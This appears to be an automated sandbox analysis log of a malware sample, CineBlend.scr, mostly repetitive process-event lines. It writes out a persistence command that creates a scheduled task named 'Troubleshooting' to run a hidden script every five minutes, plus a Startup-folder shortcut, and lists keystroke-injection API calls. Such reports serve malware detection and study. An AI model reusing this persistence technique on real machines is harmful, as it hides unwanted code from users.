Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Troubleshooting" /tr "wscript //B 'C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js'" /sc minute /mo 5 /F
Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CineBlend.url
Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CineBlend.url

Hooking and other Techniques for Hiding and Protection

barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BC26DD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,36_2_00BC26DD
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B4FC7C GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,36_2_00B4FC7C
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_006626DD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,38_2_006626DD
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_005EFC7C GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,38_2_005EFC7C
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
